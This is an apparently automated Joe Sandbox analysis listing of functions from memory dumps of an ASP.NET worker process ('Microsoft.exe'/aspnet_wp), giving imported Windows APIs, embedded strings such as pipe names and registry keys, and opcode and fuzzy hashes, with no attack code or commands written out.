Source File: 0000000C.00000002.3898771335.000002109C3C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002109C3C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2109c3c0000_aspnet_wp.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction ID: cd637ff332e9cc073388765dcc6e929ece118b29da7eed00e6a844f2d8f8698a
Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction Fuzzy Hash: 5B115B36604B8482EB218B15E59439977E0FB98F94F59C221EECD07769DF7CC691CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000002109C397356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000002109C39737C

Strings

riptor at (, xrefs: 000002109C397364
ierarchy Descriptor', xrefs: 000002109C397381

Memory Dump Source

Source File: 0000000C.00000002.3897320165.000002109C390000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002109C390000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2109c390000_aspnet_wp.jbxd

Similarity

API ID: __std_exception_copy
String ID: ierarchy Descriptor'$riptor at (
API String ID: 592178966-758928094
Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction ID: 39704b5f65b59e29fff5dd0a67d898c4820cfc6a56cd180206a022e7d50d0d39
Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction Fuzzy Hash: 36E08671A40B48D1DF018F21E9942D833A0DBA8F64F48D122995C0A312FA78D2F9C701

Uniqueness

Uniqueness Score: -1.00%

Function 000002109C3973B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000002109C3973D8

Strings

riptor at (, xrefs: 000002109C3973C0
Locator', xrefs: 000002109C3973DD

Memory Dump Source

Source File: 0000000C.00000002.3897320165.000002109C390000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002109C390000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2109c390000_aspnet_wp.jbxd

Similarity

API ID: __std_exception_copy
String ID: Locator'$riptor at (
API String ID: 592178966-4215709766
Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction ID: c3ac8fb6d991e7831016d7a44b74d1b7cb7c4b4e6dd04c87edbe2cca4e6ca5f9
Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction Fuzzy Hash: 6CE08671A00F48D0DF018F21E5901D87360EB68F54F88D122C94C0A312EA78D2E5C300

Uniqueness

Uniqueness Score: -1.00%

Function 000002109C3C1BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002109C3C1C2D
HeapAlloc.KERNEL32 ref: 000002109C3C1C3B
GetProcessHeap.KERNEL32 ref: 000002109C3C1C77
HeapFree.KERNEL32 ref: 000002109C3C1C85

Part of subcall function 000002109C3C152C: StrCmpIW.SHLWAPI ref: 000002109C3C155D

Memory Dump Source

Source File: 0000000C.00000002.3898771335.000002109C3C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002109C3C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2109c3c0000_aspnet_wp.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction ID: 8ce82ca9cba3d3df50c052c75e203b4770c1d7e0d21f5af025ebaeb154fc196e
Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction Fuzzy Hash: 12118235A01B48C1EA04DB66A5982A973A1FB99FC0F18C024DE8E63767DEB8C582D340

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: Microsoft.exePID: 4536, Parent PID: 4056COMMON

Non-executed Functions

Function 00007FF7FE54307C Relevance: 61.6, APIs: 27, Strings: 8, Instructions: 321COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7FE544AC0: memset.VCRUNTIME140_CLR0400 ref: 00007FF7FE544AFA
Part of subcall function 00007FF7FE544AC0: GetVersionExW.KERNEL32 ref: 00007FF7FE544B08
Part of subcall function 00007FF7FE544AC0: memset.VCRUNTIME140_CLR0400 ref: 00007FF7FE544B38
Part of subcall function 00007FF7FE544AC0: GetSystemDirectoryW.KERNEL32 ref: 00007FF7FE544B44
Part of subcall function 00007FF7FE544AC0: lstrlenW.KERNEL32 ref: 00007FF7FE544B56
Part of subcall function 00007FF7FE544AC0: lstrlenW.KERNEL32 ref: 00007FF7FE544B69
Part of subcall function 00007FF7FE544AC0: LoadLibraryW.KERNEL32 ref: 00007FF7FE544BB0
Part of subcall function 00007FF7FE544AC0: GetProcAddress.KERNEL32 ref: 00007FF7FE544BC8
Part of subcall function 00007FF7FE544AC0: FreeLibrary.KERNEL32 ref: 00007FF7FE544BF0

memset.VCRUNTIME140_CLR0400 ref: 00007FF7FE543122
memset.VCRUNTIME140_CLR0400 ref: 00007FF7FE543131
memset.VCRUNTIME140_CLR0400 ref: 00007FF7FE543142
memset.VCRUNTIME140_CLR0400 ref: 00007FF7FE543153
wcstoul.UCRTBASE_CLR0400 ref: 00007FF7FE543174
wcstoul.UCRTBASE_CLR0400 ref: 00007FF7FE543192
GetCurrentProcess.KERNEL32 ref: 00007FF7FE54319A
SetProcessAffinityMask.KERNEL32 ref: 00007FF7FE5431A5
InitializeLibrary.WEBENGINE4 ref: 00007FF7FE5431C8
CloseHandle.KERNEL32 ref: 00007FF7FE5431D9
CloseHandle.KERNEL32 ref: 00007FF7FE5431EB
UnInitializeManagedCode.WEBENGINE4 ref: 00007FF7FE543204

Part of subcall function 00007FF7FE543028: __acrt_iob_func.UCRTBASE_CLR0400 ref: 00007FF7FE54304E
Part of subcall function 00007FF7FE543028: __stdio_common_vfprintf.UCRTBASE_CLR0400 ref: 00007FF7FE54306D

Strings

ASP.NETPMEvent_%s_%s_%s_%s_Ping, xrefs: 00007FF7FE543322
\\.\pipe\ASP.NETPMSyncPipe_%s_%s_%s_%s, xrefs: 00007FF7FE5433E8
ASP.NETPMEvent_%s_%s_%s_%s, xrefs: 00007FF7FE5432B5
\\.\pipe\ASP.NETPMAsyncPipe_%s_%s_%s_%s, xrefs: 00007FF7FE543385
Bad argument. Exiting., xrefs: 00007FF7FE54356D
4.0.30319.0, xrefs: 00007FF7FE5432D9, 00007FF7FE543346, 00007FF7FE5433AC, 00007FF7FE543408
@, xrefs: 00007FF7FE543261
Incorrect number of arguments. Note: ASP.NET worker process can not be used interactively. Exiting., xrefs: 00007FF7FE5430CD

Memory Dump Source

Source File: 00000010.00000002.3894045025.00007FF7FE541000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7FE540000, based on PE: true

Associated: 00000010.00000002.3893910529.00007FF7FE540000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3894308212.00007FF7FE547000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3894945535.00007FF7FE548000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3895055541.00007FF7FE54B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3895055541.00007FF7FE54D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7fe540000_Microsoft.jbxd

Similarity

API ID: memset$Library$CloseHandleInitializeProcesslstrlenwcstoul$AddressAffinityCodeCurrentDirectoryFreeLoadManagedMaskProcSystemVersion__acrt_iob_func__stdio_common_vfprintf
String ID: 4.0.30319.0$@$ASP.NETPMEvent_%s_%s_%s_%s$ASP.NETPMEvent_%s_%s_%s_%s_Ping$Bad argument. Exiting.$Incorrect number of arguments. Note: ASP.NET worker process can not be used interactively. Exiting.$\\.\pipe\ASP.NETPMAsyncPipe_%s_%s_%s_%s$\\.\pipe\ASP.NETPMSyncPipe_%s_%s_%s_%s
API String ID: 939581588-36324950
Opcode ID: 024289cfcb32005762e038973c92a71c03bfb3cc28b9487307b664669d788a1f
Instruction ID: fd08fd13148f402d7f45d590bf3f2a8b40c658fa74745bb52f5c2fb77b547231
Opcode Fuzzy Hash: 024289cfcb32005762e038973c92a71c03bfb3cc28b9487307b664669d788a1f
Instruction Fuzzy Hash: D9E16F25A0CA4282EB21FB65EC701B9A3A5FFC8744FA05535DA6D437E5EF3CE40587A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FE541E74 Relevance: 24.8, APIs: 12, Strings: 2, Instructions: 290timeCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140_CLR0400 ref: 00007FF7FE541EBB
GetCurrentProcessId.KERNEL32 ref: 00007FF7FE541EDA
GetHandleInformation.KERNEL32 ref: 00007FF7FE541F2D
GetHandleInformation.KERNEL32 ref: 00007FF7FE541F75
GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF7FE541F9D
PerfIncrementGlobalCounter.WEBENGINE4 ref: 00007FF7FE541FEB
TraceEnabled.WEBENGINE4 ref: 00007FF7FE542022
TraceRaiseEvent.WEBENGINE4 ref: 00007FF7FE542055

Part of subcall function 00007FF7FE5412F0: GetModuleHandleW.KERNEL32 ref: 00007FF7FE541329
Part of subcall function 00007FF7FE5412F0: GetProcAddress.KERNEL32 ref: 00007FF7FE541363
Part of subcall function 00007FF7FE5412F0: memset.VCRUNTIME140_CLR0400 ref: 00007FF7FE54137E
Part of subcall function 00007FF7FE5412F0: CreateFileW.KERNEL32 ref: 00007FF7FE5413C5
Part of subcall function 00007FF7FE5412F0: CloseHandle.KERNEL32 ref: 00007FF7FE5413D7

GetAppDomainIndirect.WEBENGINE4 ref: 00007FF7FE54206E
GetAppDomainIndirect.WEBENGINE4 ref: 00007FF7FE5420F0
TraceEnabled.WEBENGINE4 ref: 00007FF7FE542163
TraceRaiseEvent.WEBENGINE4 ref: 00007FF7FE542194

Strings

APPL_MD_PATH, xrefs: 00007FF7FE541FFF
APPL_PHYSICAL_PATH, xrefs: 00007FF7FE5420C9

Memory Dump Source

Source File: 00000010.00000002.3894045025.00007FF7FE541000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7FE540000, based on PE: true

Associated: 00000010.00000002.3893910529.00007FF7FE540000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3894308212.00007FF7FE547000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3894945535.00007FF7FE548000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3895055541.00007FF7FE54B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3895055541.00007FF7FE54D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7fe540000_Microsoft.jbxd

Similarity

API ID: HandleTrace$DomainEnabledEventFileIndirectInformationRaiseTimememset$AddressCloseCounterCreateCurrentGlobalIncrementModulePerfProcProcessSystem
String ID: APPL_MD_PATH$APPL_PHYSICAL_PATH
API String ID: 2775746794-1639331726
Opcode ID: 0f1f73ce265da230ccab938d4e6599da31f73124823bfae3b09a1a38c0bf4e62
Instruction ID: 60b1a75d351c3fdb3ccb1334807306f89aa8ca67e6452dc6e6b5e19ed67f7d13
Opcode Fuzzy Hash: 0f1f73ce265da230ccab938d4e6599da31f73124823bfae3b09a1a38c0bf4e62
Instruction Fuzzy Hash: 49C1C076A0C65286EB11EF51EC706B9E7A4FBC4780FA14032DA6D536D4DF3DE4418BA0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FE544AC0 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 82librarystringloaderCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140_CLR0400 ref: 00007FF7FE544AFA
GetVersionExW.KERNEL32 ref: 00007FF7FE544B08
memset.VCRUNTIME140_CLR0400 ref: 00007FF7FE544B38
GetSystemDirectoryW.KERNEL32 ref: 00007FF7FE544B44
lstrlenW.KERNEL32 ref: 00007FF7FE544B56
lstrlenW.KERNEL32 ref: 00007FF7FE544B69
LoadLibraryW.KERNEL32 ref: 00007FF7FE544BB0
GetProcAddress.KERNEL32 ref: 00007FF7FE544BC8
FreeLibrary.KERNEL32 ref: 00007FF7FE544BF0

Strings

HeapSetInformation, xrefs: 00007FF7FE544BBE
kernel32.dll, xrefs: 00007FF7FE544B95

Memory Dump Source

Source File: 00000010.00000002.3894045025.00007FF7FE541000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7FE540000, based on PE: true

Associated: 00000010.00000002.3893910529.00007FF7FE540000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3894308212.00007FF7FE547000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3894945535.00007FF7FE548000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3895055541.00007FF7FE54B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3895055541.00007FF7FE54D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7fe540000_Microsoft.jbxd

Similarity

API ID: Librarylstrlenmemset$AddressDirectoryFreeLoadProcSystemVersion
String ID: HeapSetInformation$kernel32.dll
API String ID: 206529840-3597996958
Opcode ID: 3bea11effd991dbff14e9cac326ad14e13f08ea6a192f866530905ee3f90829b
Instruction ID: a674461e3bd1dd0103c88dac857a7905e4203404c2dede95473422d599b8d874
Opcode Fuzzy Hash: 3bea11effd991dbff14e9cac326ad14e13f08ea6a192f866530905ee3f90829b
Instruction Fuzzy Hash: DE31EE21A0D64296EB24EB21DC742AAA3A1FB88744FA44435D92D836D9DF3CD50587A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FE544C1C Relevance: 1.5, APIs: 1, Instructions: 25encryptionCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7FE5446AC: GetCurrentThreadId.KERNEL32 ref: 00007FF7FE5446B9

CryptReleaseContext.ADVAPI32 ref: 00007FF7FE544C48

Part of subcall function 00007FF7FE544640: GetLastError.KERNEL32 ref: 00007FF7FE544644

Memory Dump Source

Source File: 00000010.00000002.3894045025.00007FF7FE541000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7FE540000, based on PE: true

Associated: 00000010.00000002.3893910529.00007FF7FE540000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3894308212.00007FF7FE547000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3894945535.00007FF7FE548000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3895055541.00007FF7FE54B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3895055541.00007FF7FE54D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7fe540000_Microsoft.jbxd

Similarity

API ID: ContextCryptCurrentErrorLastReleaseThread
String ID:
API String ID: 354363194-0
Opcode ID: f96434bf9168117ebdff4348d076706bb195abfcd39e56e47b0d15c387efc6d9
Instruction ID: bd41ee82ae4e218e42d4eb940e377703ccb196d21ac04d47c548fca4afa040c9
Opcode Fuzzy Hash: f96434bf9168117ebdff4348d076706bb195abfcd39e56e47b0d15c387efc6d9
Instruction Fuzzy Hash: EBF03A14B5D50385FB91BBA0ACB17B5A290AFD0304FB44434D93D831DAEF2CA58893B0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FE541AD0 Relevance: 31.8, APIs: 21, Instructions: 260sleepCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF7FE541AFC
GetOverlappedResult.KERNEL32 ref: 00007FF7FE541B3C
GetLastError.KERNEL32 ref: 00007FF7FE541B42
Sleep.KERNEL32 ref: 00007FF7FE541B97
DebugBreak.KERNEL32 ref: 00007FF7FE541BE3
memcpy.VCRUNTIME140_CLR0400 ref: 00007FF7FE541B78

Part of subcall function 00007FF7FE5423EC: EnterCriticalSection.KERNEL32 ref: 00007FF7FE542416
Part of subcall function 00007FF7FE5423EC: LeaveCriticalSection.KERNEL32 ref: 00007FF7FE5424FB

LeaveCriticalSection.KERNEL32 ref: 00007FF7FE541E3E

Memory Dump Source

Source File: 00000010.00000002.3894045025.00007FF7FE541000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7FE540000, based on PE: true

Associated: 00000010.00000002.3893910529.00007FF7FE540000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3894308212.00007FF7FE547000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3894945535.00007FF7FE548000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3895055541.00007FF7FE54B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3895055541.00007FF7FE54D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7fe540000_Microsoft.jbxd

Similarity

API ID: CriticalSection$EnterLeave$BreakDebugErrorLastOverlappedResultSleepmemcpy
String ID:
API String ID: 1079923647-0
Opcode ID: 0fc648becfba580e308f7de3fecf7bec5cc65c61210f2d3db28dff69f106d86f
Instruction ID: bbdb0e48ad7d2767f0ceeeb4fe6b1a73a0c49cb3d86b6db0cfe88c066ae40d2c
Opcode Fuzzy Hash: 0fc648becfba580e308f7de3fecf7bec5cc65c61210f2d3db28dff69f106d86f
Instruction Fuzzy Hash: 25B1B262A0C60282EF64BB259E301B9A7A1FFC4754FB40536DE2E076C5DF3CE85187A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FE54548C Relevance: 24.1, APIs: 16, Instructions: 92COMMON

Download Yara Rule

APIs

__scrt_initialize_crt.LIBCMT ref: 00007FF7FE5454A0
__scrt_fastfail.LIBCMT ref: 00007FF7FE5454AE

Part of subcall function 00007FF7FE545AB4: IsProcessorFeaturePresent.KERNEL32 ref: 00007FF7FE545AD0
Part of subcall function 00007FF7FE545AB4: memset.VCRUNTIME140_CLR0400 ref: 00007FF7FE545AF0
Part of subcall function 00007FF7FE545AB4: RtlCaptureContext.KERNEL32 ref: 00007FF7FE545AF9
Part of subcall function 00007FF7FE545AB4: RtlLookupFunctionEntry.KERNEL32 ref: 00007FF7FE545B13
Part of subcall function 00007FF7FE545AB4: RtlVirtualUnwind.KERNEL32 ref: 00007FF7FE545B54
Part of subcall function 00007FF7FE545AB4: memset.VCRUNTIME140_CLR0400 ref: 00007FF7FE545B87
Part of subcall function 00007FF7FE545AB4: IsDebuggerPresent.KERNEL32 ref: 00007FF7FE545BA8
Part of subcall function 00007FF7FE545AB4: SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF7FE545BC9
Part of subcall function 00007FF7FE545AB4: UnhandledExceptionFilter.KERNEL32 ref: 00007FF7FE545BD4

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF7FE5454BC
__scrt_fastfail.LIBCMT ref: 00007FF7FE5454D3
_initterm_e.UCRTBASE_CLR0400 ref: 00007FF7FE5454F4
__scrt_release_startup_lock.LIBCMT ref: 00007FF7FE545530
__scrt_is_nonwritable_in_current_image.LIBCMT ref: 00007FF7FE545546
__scrt_is_nonwritable_in_current_image.LIBCMT ref: 00007FF7FE545576
_register_thread_local_exe_atexit_callback.UCRTBASE_CLR0400 ref: 00007FF7FE545582
__p___wargv.UCRTBASE_CLR0400 ref: 00007FF7FE545587
__p___argc.UCRTBASE_CLR0400 ref: 00007FF7FE54558F
_get_initial_wide_environment.UCRTBASE_CLR0400 ref: 00007FF7FE545597
__scrt_is_managed_app.LIBCMT ref: 00007FF7FE5455AB
exit.UCRTBASE_CLR0400 ref: 00007FF7FE5455B6
_cexit.UCRTBASE_CLR0400 ref: 00007FF7FE5455C0
__scrt_uninitialize_crt.LIBCMT ref: 00007FF7FE5455C9

Memory Dump Source

Source File: 00000010.00000002.3894045025.00007FF7FE541000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7FE540000, based on PE: true

Associated: 00000010.00000002.3893910529.00007FF7FE540000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3894308212.00007FF7FE547000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3894945535.00007FF7FE548000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3895055541.00007FF7FE54B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3895055541.00007FF7FE54D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7fe540000_Microsoft.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled__scrt_fastfail__scrt_is_nonwritable_in_current_imagememset$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual__p___argc__p___wargv__scrt_acquire_startup_lock__scrt_initialize_crt__scrt_is_managed_app__scrt_release_startup_lock__scrt_uninitialize_crt_cexit_get_initial_wide_environment_initterm_e_register_thread_local_exe_atexit_callbackexit
String ID:
API String ID: 557578165-0
Opcode ID: ab3496d642dff016e7cccd1215e6a449bc999fd02752677a9af6862feb6ebb7f
Instruction ID: 9386c649e6a6a32d450d60a3d100935cd5610b73b20d9c05f402d414481e0053
Opcode Fuzzy Hash: ab3496d642dff016e7cccd1215e6a449bc999fd02752677a9af6862feb6ebb7f
Instruction Fuzzy Hash: 7F310721A0D24382FB15BB25AC753B9A391AFD5784FF44434EA2E0B6D7DE6DE40487A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FE5412F0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 63libraryfileloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF7FE541329
GetProcAddress.KERNEL32 ref: 00007FF7FE541363
memset.VCRUNTIME140_CLR0400 ref: 00007FF7FE54137E
CreateFileW.KERNEL32 ref: 00007FF7FE5413C5
CloseHandle.KERNEL32 ref: 00007FF7FE5413D7

Part of subcall function 00007FF7FE544640: GetLastError.KERNEL32 ref: 00007FF7FE544644

Strings

GetCachePath, xrefs: 00007FF7FE541359
fusion.dll, xrefs: 00007FF7FE541315, 00007FF7FE541340

Memory Dump Source

Source File: 00000010.00000002.3894045025.00007FF7FE541000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7FE540000, based on PE: true

Associated: 00000010.00000002.3893910529.00007FF7FE540000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3894308212.00007FF7FE547000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3894945535.00007FF7FE548000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3895055541.00007FF7FE54B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3895055541.00007FF7FE54D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7fe540000_Microsoft.jbxd

Similarity

API ID: Handle$AddressCloseCreateErrorFileLastModuleProcmemset
String ID: GetCachePath$fusion.dll
API String ID: 3009750605-903800405
Opcode ID: c91b2d206778f32f6fc935ab3af68e62905bf3e8b358357ecffa313f68f8e6e6
Instruction ID: a28453b298e187f8b80a2d9e31e23a5a57044285a1182c6a96f403798e0b2bcf
Opcode Fuzzy Hash: c91b2d206778f32f6fc935ab3af68e62905bf3e8b358357ecffa313f68f8e6e6
Instruction Fuzzy Hash: AF21716160D74282EB60EB54E8B43AAB3A0EFC4794FA04135DA6D03BD5DF7CD448C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FE5427E0 Relevance: 9.1, APIs: 6, Instructions: 133stringfilepipeCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32 ref: 00007FF7FE542834

Part of subcall function 00007FF7FE544944: GetXSPHeap.WEBENGINE4(?,?,00000000,00007FF7FE541614), ref: 00007FF7FE544959

InitializeCriticalSection.KERNEL32 ref: 00007FF7FE54288C
lstrlenW.KERNEL32 ref: 00007FF7FE5428E9
_itow_s.UCRTBASE_CLR0400 ref: 00007FF7FE542918
CreateFileW.KERNEL32 ref: 00007FF7FE542945
SetNamedPipeHandleState.KERNEL32 ref: 00007FF7FE542966

Memory Dump Source

Source File: 00000010.00000002.3894045025.00007FF7FE541000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7FE540000, based on PE: true

Associated: 00000010.00000002.3893910529.00007FF7FE540000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3894308212.00007FF7FE547000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3894945535.00007FF7FE548000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3895055541.00007FF7FE54B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3895055541.00007FF7FE54D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7fe540000_Microsoft.jbxd

Similarity

API ID: lstrlen$CreateCriticalFileHandleHeapInitializeNamedPipeSectionState_itow_s
String ID:
API String ID: 1990252264-0
Opcode ID: d0a2829fda362376c154a0a54d8ca2ba30c2425220e3a784794c5b89c968d7cd
Instruction ID: e1d35fc9779a0aa0dfb0e271579f0012c41c13674ec2c71ec4624e501609a755
Opcode Fuzzy Hash: d0a2829fda362376c154a0a54d8ca2ba30c2425220e3a784794c5b89c968d7cd
Instruction Fuzzy Hash: DB511536A0C65282EB20AF51E8B4779B360FFC4760FA04635CA6D47AC4DF7DE44587A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FE54169C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 41registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32 ref: 00007FF7FE5416D9
RegQueryValueExW.ADVAPI32 ref: 00007FF7FE541707
RegCloseKey.ADVAPI32 ref: 00007FF7FE541737

Strings

Software\Microsoft\ASP.NET, xrefs: 00007FF7FE5416B2
UseWorkerThreadsOnIIS5, xrefs: 00007FF7FE5416FB

Memory Dump Source

Source File: 00000010.00000002.3894045025.00007FF7FE541000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7FE540000, based on PE: true

Associated: 00000010.00000002.3893910529.00007FF7FE540000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3894308212.00007FF7FE547000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3894945535.00007FF7FE548000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3895055541.00007FF7FE54B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3895055541.00007FF7FE54D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7fe540000_Microsoft.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Software\Microsoft\ASP.NET$UseWorkerThreadsOnIIS5
API String ID: 3677997916-4140686696
Opcode ID: 19b0c655645e88b85057df6b0911e7094ca38a925f48dcd83b1ec3ba65a6f77e
Instruction ID: 170774733a036a5c4d53bc847c94378375a5e29811814f77cca0be8ea3e562e6
Opcode Fuzzy Hash: 19b0c655645e88b85057df6b0911e7094ca38a925f48dcd83b1ec3ba65a6f77e
Instruction Fuzzy Hash: BC113036A19B01CEEB219F20E8647A477A4FB8479CF900635E66C47A98DF3CD254CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FE5440B0 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 88stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140_CLR0400(?,?,00000000,00007FF7FE54200E), ref: 00007FF7FE544167
strcmp.UCRTBASE_CLR0400(?,?,00000000,00007FF7FE54200E), ref: 00007FF7FE544178
memcpy.VCRUNTIME140_CLR0400(?,?,00000000,00007FF7FE54200E), ref: 00007FF7FE5441B7

Strings

APPL_MD_PATH, xrefs: 00007FF7FE54416E
APPL_PHYSICAL_PATH, xrefs: 00007FF7FE5440EA

Memory Dump Source

Source File: 00000010.00000002.3894045025.00007FF7FE541000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7FE540000, based on PE: true

Associated: 00000010.00000002.3893910529.00007FF7FE540000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3894308212.00007FF7FE547000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3894945535.00007FF7FE548000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3895055541.00007FF7FE54B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3895055541.00007FF7FE54D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

